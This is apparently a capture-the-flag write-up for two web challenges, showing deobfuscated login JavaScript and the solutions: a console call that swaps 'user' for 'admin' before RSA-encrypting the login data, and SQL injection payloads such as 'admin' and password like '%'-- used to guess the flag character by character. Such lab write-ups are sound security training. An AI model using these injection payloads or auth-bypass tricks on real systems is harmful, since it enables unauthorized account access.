Africa Cyberfest CTF Finals Web Writeup

 

Mystique

Visiting the challenge link, we get what looks like a login page.

Viewing the source - I discovered that the Sign Up button doesnā€™t do anything

Viewing the content of /static/index.js It looks like obfuscated JavaScript so we need to deobfuscate it. There are different online tools we can use to do this, but I used deobfuscate.relative.im

const contractABI = [
    {
      inputs: [],
      name: 'TOKEN_PRICE',
      outputs: [
        {
          internalType: 'uint256',
          name: '',
          type: 'uint256',
        },
      ],
      stateMutability: 'view',
      type: 'function',
    },
    {
      inputs: [
        {
          internalType: 'uint256',
          name: '_tokenToBuy',
          type: 'uint256',
        },
      ],
      name: 'buy',
      outputs: [],
      stateMutability: 'payable',
      type: 'function',
    },
    {
      inputs: [
        {
          internalType: 'address',
          name: '_user',
          type: 'address',
        },
      ],
      name: 'getUserBalance',
      outputs: [
        {
          internalType: 'uint256',
          name: '',
          type: 'uint256',
        },
      ],
      stateMutability: 'view',
      type: 'function',
    },
    {
      inputs: [],
      name: 'name',
      outputs: [
        {
          internalType: 'string',
          name: '',
          type: 'string',
        },
      ],
      stateMutability: 'view',
      type: 'function',
    },
    {
      inputs: [],
      name: 'symbol',
      outputs: [
        {
          internalType: 'string',
          name: '',
          type: 'string',
        },
      ],
      stateMutability: 'view',
      type: 'function',
    },
  ],
  contractAddress = ''
nodeUrl = 'https://public.stackup.sh/api/v1/node/ethereum-sepolia'
const provider = new ethers.providers.Web3Provider(window.ethereum),
  contract = new ethers.Contract(contractAddress, contractABI, provider),
  signer = provider.getSigner(),
  contractWithSigner = contract.connect(signer)
async function buyTokens() {
  const _0x3a4362 = await getEthBalance(),
    _0x416813 = await contract.TOKEN_PRICE()
  console.log('Token_Price: ', _0x416813)
  const _0x31d47f = parseInt(tokenBuyForm.value)
  if (isNaN(_0x31d47f) || _0x31d47f <= 0) {
    alert('Invalid token amount')
    return
  }
  const _0x181d0f = _0x416813.mul(_0x31d47f),
    _0x5d7f81 = parseInt(_0x181d0f.toHexString().toString())
  if (_0x5d7f81 > _0x3a4362) {
    alert('That costs more than you have. Check console log')
    console.log('Your Balance (Wei)', _0x3a4362)
    console.log('Wei required for purchase', _0x5d7f81)
    return
  }
  contractWithSigner
    .buy(_0x31d47f, { value: _0x5d7f81 })
    .then(function (_0x11da9e) {
      console.log('Transaction Hash:', _0x11da9e.hash)
      alert('Tx Submitted')
    })
    .catch(function (_0x5304e1) {
      console.error('Error:', _0x5304e1)
    })
}
console.log('Hello from index.js!')
function isEthereumAvailable() {
  return window.ethereum !== 'undefined'
}
const connectButton = document.getElementById('connect-btn'),
  accountElement = document.getElementById('account'),
  errorElement = document.getElementById('error'),
  chainElement = document.getElementById('chain'),
  balanceElement = document.getElementById('balance'),
  formContractRead = document.getElementById('form-contract-read'),
  tokenBuyForm = document.getElementById('buy_form'),
  costElement = document.getElementById('cost'),
  buyButton = document.getElementById('buy_btn'),
  buyFlag = document.getElementById('buy_flag'),
  flagText = document.getElementById('flag')
async function getChainId() {
  const _0x4527ec = await window.ethereum.request({ method: 'eth_chainId' })
  return _0x4527ec
}
function getChainName(_0x55e0cf) {
  console.log(_0x55e0cf)
  switch (_0x55e0cf) {
    case '0xaa36a7':
      return 'Sepolia Network'
    default:
      return 'Chain not supported. Switch to ETH Sepolia'
  }
}
function showChain(_0x239f06) {
  chainElement.textContent = getChainName(_0x239f06)
}
async function getAccounts() {
  return window.ethereum.request({ method: 'eth_requestAccounts' })
}
async function getEthBalance() {
  const _0xb2d7a1 = await getAccounts(),
    _0x472ddd = _0xb2d7a1[0],
    _0x1adc88 = await window.ethereum.request({
      method: 'eth_getBalance',
      params: [_0x472ddd, 'latest'],
    }),
    _0x4bd5b0 = parseInt(_0x1adc88, 16)
  return _0x4bd5b0
}
function showBalance(_0x5d6af7) {
  console.log(_0x5d6af7)
  const _0x11d360 = (Number(_0x5d6af7) / Number(10 ** 18)).toFixed(3)
  balanceElement.textContent = 'Balance: ' + _0x11d360 + 'ETH'
  tokenBuyForm.setAttribute('max', _0x5d6af7)
}
function displayForm() {
  formContractRead.style.display = 'flex'
  buyFlag.style.display = 'flex'
}
function connect() {
  return (
    (connectButton.textContent = 'Loading...'),
    (chainElement.textContent = ''),
    (errorElement.textContent = ''),
    getAccounts()
      .then(showAccount)
      .then(getChainId)
      .then(showChain)
      .then(getEthBalance)
      .then(showBalance)
      .then(displayForm)
      .catch(showError)
  )
}
function setPublicKey() {
  var _0x1981d6 =
     '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ziDyee9fICsEJ5ebGyv\nN1toEnOGBwYQrehsuOfkNXm4BKoBgiSXJGAeU/+4JeXrkaX7pejDF1loZvKXFIfA\nRaaNIqDbsZfIYPB0nMpaYrXreO6R+7jyWN6a0uPTOyaYYlCdhLRjciV8w7PBcO/e\niVzCajZSp+uNqlVz3s83o+LOl0B/RLNNUPrUjwvj7s4dattJhtKLts1mC1V7aHcL\nJquS5E2OqAzps2DzVJ1sezHmvJGw9/8+58AMwqFTwixP37+FhuAbNGUN5DHRUjSK\nzscmDAgE+HN+GPwOx6ynpVmrubqWsZ0CL14mxtfVYNUBopI/BACZYdn2B/Eze1ay\nuQIDAQAB\n-----END PUBLIC KEY-----\n',
    _0x42b4b7 = new JSEncrypt()
  return _0x42b4b7.setPublicKey(_0x1981d6), _0x42b4b7
}
function showAccount(_0x5b4f4c) {
  if (_0x5b4f4c.length > 0) {
    accountElement.textContent = ''
    const _0x39905a = _0x5b4f4c[0].slice(0, 5) + '...' + _0x5b4f4c[0].slice(-4)
    connectButton.textContent = _0x39905a
  }
}
function showError(_0x354745) {
  connectButton.textContent = 'Connect Wallet'
  errorElement.textContent = _0x354745.message
}
function generateRandomText() {
  var _0x5c05bd =
    Math.random().toString(36).substring(2, 15) +
    Math.random().toString(36).substring(2, 15)
  return _0x5c05bd
}
function encryptData(_0x1db3cc, _0x6dcda1) {
  var _0x1e3ced = 'user' + _0x6dcda1,
    _0x59921a = _0x1db3cc.encrypt(_0x1e3ced)
  return _0x59921a
}
async function updateCost() {
  try {
    const _0x35de24 = parseInt(tokenBuyForm.value)
    if (isNaN(_0x35de24) || _0x35de24 <= 0) {
      costElement.textContent = 'Invalid quantity'
      return
    }
    const _0x2dbcf9 = await contract.TOKEN_PRICE(),
      _0xf85b46 = Number(_0x2dbcf9),
      _0x1b0302 = Number(_0x35de24 * _0xf85b46) / Number(10 ** 18)
    costElement.textContent = 'Cost: ' + _0x1b0302.toFixed(18) + ' ETH'
  } catch (_0x3328ec) {
    console.error('Error calculating cost:', _0x3328ec)
    costElement.textContent = 'Error calculating cost'
  }
}
async function sendFlagConfirm() {
  const _0x171dc8 = await fetch('/getAuthMessage'),
    _0x24be27 = await _0x171dc8.json(),
    _0x11a537 = await signer.signMessage(_0x24be27),
    _0x2fe084 = await fetch('/buyFlag', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        signedMessage: _0x11a537,
        Message: _0x24be27,
      }),
    }),
    _0x22819f = await _0x2fe084.json(),
    _0x4ec821 = _0x22819f.Flag
  flagText.textContent = _0x4ec821
}
var myArray = []
myArray.push('apple')
myArray.push('banana')
myArray.push('orange')
for (var i = 0; i < myArray.length; i++) {
  console.log(myArray[i])
}
function factorial(_0x3e556d) {
  return _0x3e556d === 0 ? 1 : _0x3e556d * factorial(_0x3e556d - 1)
}
var num = 5
function isPrime(_0x20dbff) {
  if (_0x20dbff <= 1) {
    return false
  }
  for (var _0x480e6d = 2; _0x480e6d <= Math.sqrt(_0x20dbff); _0x480e6d++) {
    if (_0x20dbff % _0x480e6d === 0) {
      return false
    }
  }
  return true
}
console.log('Is 17 prime? ' + isPrime(17))
function fibonacci(_0x37fb5b) {
  var _0x114dcc = [0, 1]
  for (var _0x145abb = 2; _0x145abb <= _0x37fb5b; _0x145abb++) {
    _0x114dcc[_0x145abb] = _0x114dcc[_0x145abb - 1] + _0x114dcc[_0x145abb - 2]
  }
  return _0x114dcc
}
function sendEncryptedData(_0x488736) {
  var _0x3f8870 = new XMLHttpRequest()
  _0x3f8870.open('POST', '/Flag', true)
  _0x3f8870.setRequestHeader(
    'Content-Type',
    'application/x-www-form-urlencoded'
  )
  _0x3f8870.onreadystatechange = function () {
    if (_0x3f8870.readyState === 4 && _0x3f8870.status === 200) {
      var _0x4dab41 = document.getElementById('output')
      _0x4dab41.textContent = _0x3f8870.responseText
    }
  }
  _0x3f8870.send('data=' + encodeURIComponent(_0x488736))
}
function init() {
  isEthereumAvailable()
    ? ((connectButton.textContent = 'Connect Wallet'),
      connectButton.removeAttribute('disabled'),
      connectButton.addEventListener('click', connect),
      buyButton.addEventListener('click', buyTokens),
      tokenBuyForm.addEventListener('input', updateCost),
      buyFlag.addEventListener('click', sendFlagConfirm))
    : ((connectButton.textContent =
        'Ethereum not available. Please install MetaMask!'),
      alert('Ethereum not available. Please install Metamask!'),
      connectButton.setAttribute('disabled', true))
}
function login() {
  var _0x327735 = setPublicKey(),
    _0x2ddfd8 = generateRandomText(),
    _0x44638e = encryptData(_0x327735, _0x2ddfd8)
  sendEncryptedData(_0x44638e)
}
init()

Nukā€™s added some unimportant code in order to deceive us - I removed all the blockchain related code in order to clean up the code.

function setPublicKey() {
  var _0x1981d6 =
      '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ziDyee9fICsEJ5ebGyv\nN1toEnOGBwYQrehsuOfkNXm4BKoBgiSXJGAeU/+4JeXrkaX7pejDF1loZvKXFIfA\nRaaNIqDbsZfIYPB0nMpaYrXreO6R+7jyWN6a0uPTOyaYYlCdhLRjciV8w7PBcO/e\niVzCajZSp+uNqlVz3s83o+LOl0B/RLNNUPrUjwvj7s4dattJhtKLts1mC1V7aHcL\nJquS5E2OqAzps2DzVJ1sezHmvJGw9/8+58AMwqFTwixP37+FhuAbNGUN5DHRUjSK\nzscmDAgE+HN+GPwOx6ynpVmrubqWsZ0CL14mxtfVYNUBopI/BACZYdn2B/Eze1ay\nuQIDAQAB\n-----END PUBLIC KEY-----\n',
    _0x42b4b7 = new JSEncrypt()
  return _0x42b4b7.setPublicKey(_0x1981d6), _0x42b4b7
}
function generateRandomText() {
  var _0x5c05bd =
    Math.random().toString(36).substring(2, 15) +
    Math.random().toString(36).substring(2, 15)
  return _0x5c05bd
}

function encryptData(_0x1db3cc, _0x6dcda1) {
  var _0x1e3ced = 'user' + _0x6dcda1,
    _0x59921a = _0x1db3cc.encrypt(_0x1e3ced)
  return _0x59921a
}
function sendEncryptedData(_0x488736) {
  var _0x3f8870 = new XMLHttpRequest()
  _0x3f8870.open('POST', '/Flag', true)
  _0x3f8870.setRequestHeader(
    'Content-Type',
    'application/x-www-form-urlencoded'
  )
  _0x3f8870.onreadystatechange = function () {
    if (_0x3f8870.readyState === 4 && _0x3f8870.status === 200) {
      var _0x4dab41 = document.getElementById('output')
      _0x4dab41.textContent = _0x3f8870.responseText
    }
  }
  _0x3f8870.send('data=' + encodeURIComponent(_0x488736))
}

function login() {
  var _0x327735 = setPublicKey(),
    _0x2ddfd8 = generateRandomText(),
    _0x44638e = encryptData(_0x327735, _0x2ddfd8)
  sendEncryptedData(_0x44638e)
}

Still a little bit miss-leading but you can pretty much understand the whole functionality of the code. I renamed most of the obfuscated variables for better understanding.

function setPublicKey() {
  var key =
      '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ziDyee9fICsEJ5ebGyv\nN1toEnOGBwYQrehsuOfkNXm4BKoBgiSXJGAeU/+4JeXrkaX7pejDF1loZvKXFIfA\nRaaNIqDbsZfIYPB0nMpaYrXreO6R+7jyWN6a0uPTOyaYYlCdhLRjciV8w7PBcO/e\niVzCajZSp+uNqlVz3s83o+LOl0B/RLNNUPrUjwvj7s4dattJhtKLts1mC1V7aHcL\nJquS5E2OqAzps2DzVJ1sezHmvJGw9/8+58AMwqFTwixP37+FhuAbNGUN5DHRUjSK\nzscmDAgE+HN+GPwOx6ynpVmrubqWsZ0CL14mxtfVYNUBopI/BACZYdn2B/Eze1ay\nuQIDAQAB\n-----END PUBLIC KEY-----\n'

  var jsEncryptedKey = new JSEncrypt()
  return jsEncryptedKey.setPublicKey(key), jsEncryptedKey
}
function generateRandomText() {
  var text =
    Math.random().toString(36).substring(2, 15) +
    Math.random().toString(36).substring(2, 15)
  return text
}

function encryptData(publicKey, randomText) {
  var data = 'user' + randomText,
    encrypted_Data = publicKey.encrypt(data)
  return encrypted_Data
}


function sendEncryptedData(encryptedData) {
  var request = new XMLHttpRequest()
  request.open('POST', '/Flag', true)
  request.setRequestHeader(
    'Content-Type',
    'application/x-www-form-urlencoded'
  )
  request.onreadystatechange = function () {
    if (request.readyState === 4 && request.status === 200) {
      var message = document.getElementById('output')
      message.textContent = request.responseText
    }
  }

  request.send('data=' + encodeURIComponent(encryptedData))
}

function login() {
  var publicKey = setPublicKey();
  var randomText = generateRandomText();
  var encryptedData = encryptData(publicKey, randomText);
  sendEncryptedData(encryptedData);
}

When the login button is clicked, the login() function is called which sets the following variables.

publicKey stores a JSEncrypt key object gotten from the setPublicKey() function.

  • The setPublicKey() function stores a PEM key in the key variable.
  • creates a new JSEncrypt object and stores it in the jsEncryptedKey variable.
  • it finally uses the .setPublicKey() method on the JSEncrypt object to the set the public key to the PEM key above.

randomText stores a random text generated by the generateRandomText() function.

encryptedData stores the encrypted data returned from the encryptData() function which takes publicKey and randomText as arguments

  • The encryptData function stores the result of concatenating ā€˜userā€™ + randomText in a variable data.
  • encrypts the data using the publicKey.encrypt() method

sendEncryptedData makes a POST request to the /Flag endpoint with the encryptedData as argument. Before the request is sent, the content of encryptedData is URL-encoded

I solved this challenge by changing ā€˜userā€™ in the encryptData function to ā€˜adminā€™

Steps to recreate.

Using your browser console(Ctrl + Shift + C), run the following.

> sendEncryptedData(encryptData(setPublicKey(),"admin"+generateRandomText()))     

Daredevil

Visiting the challenge link, we get what looks like a login page.

Viewing the page source and checking the /src/index.js file, I noticed this challenge is similar to the Mystique challenge.

So, follow the same process of deobfuscating the JavaScript code and removing the unimportant code (block-chain stuff).

I also renamed the obfuscated variables for better understanding.

function setPublicKey() {
  var key =
      '-----BEGIN PUBLIC KEY-----\n  MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvKY9bxWNNQtoCukVNJuF\n  Ap5sxruDlsoglCvKGwV92zke7P514+nFshua5m2FGXW3aLTUwy6Fh2CnH5sIz7EX\n  MS3DvZ/VT8yJfRZtbTN8MdzynRrYJt6MofVP3fOjoxGi86rhKUV30tneOJxYT+tz\n  izDWIlTL3dqC01gcpGbJTviWNTDyvYkXvV7ybo9krYz5GeU3X49unkyyKJ+IJA51\n  2Zg254eb064SIsYLP60rHLoCgh0gws33wiqIFEIBVpMn8+V1cxB8iVLcNl88lWMN\n  EgcqK/hKHFBkBCJ0YWit5Zdn19vA+kdC0G7TvpiKeB8wXX3Zcn5+TbCPaJCp2r08\n  TwIDAQAB\n  -----END PUBLIC KEY-----'
  var jsEncryptedKey = new JSEncrypt()
  return jsEncryptedKey.setPublicKey(key), jsEncryptedKey
}

function generateRandomText() {
  var text =
    Math.random().toString(36).substring(2, 15) +
    Math.random().toString(36).substring(2, 15)
  return text
}

function encryptData(publicKey, randomText) {
  var data = 'user' + randomText,
    encrypted_Data = publicKey.encrypt(data)
  return encrypted_Data
}


function sendEncryptedData(encryptedData) {
  var request = new XMLHttpRequest()
  request.open('POST', '/Flag', true)
  request.setRequestHeader(
    'Content-Type',
    'application/x-www-form-urlencoded'
  )
  request.onreadystatechange = function () {
    if (request.readyState === 4 && request.status === 200) {
      var message = document.getElementById('output')
      message.textContent = request.responseText
    }
  }

  request.send('data=' + encodeURIComponent(encryptedData))
}

function login() {
  var publicKey = setPublicKey(),
    username = document.getElementById('username').value,
    password = document.getElementById('password').value,
    credentials = username + ':' + password,
    encryptedData = encryptData(publicKey, credentials)
  sendEncryptedData(encryptedData)
}

Steps to recreate

when you send the code below in your browser console, you should get "Invalid Username or password" as the response.

sendEncryptedData(encryptData(setPublicKey(), "admin:admin")) 

but when you send this instead,

sendEncryptedData(encryptData(key,"admin' and password like '%'--:admin"))

we get "Login for admin' and password like '%'-- not allowed" as the response. This is a indication of SQLi with some input filtering set up, we can guess the password which is the flag by simply brute-forcing using a list of alphabets and numbers. If the character is wrong, we get ā€œInvalid Username or passwordā€ as the response. I didnā€™t need to script in this challenge, would have been necessary if the flag was longer or had special characters.

This was the final payload

sendEncryptedData(encryptData(key,"admin' and password like 'actf{amazing_you_solved_it}'--:admin"))

Sorry I could not give a fully detailed write-up with enough screenshots and all, the ctf platform was taken down šŸ˜”.

Sayonara~šŸ»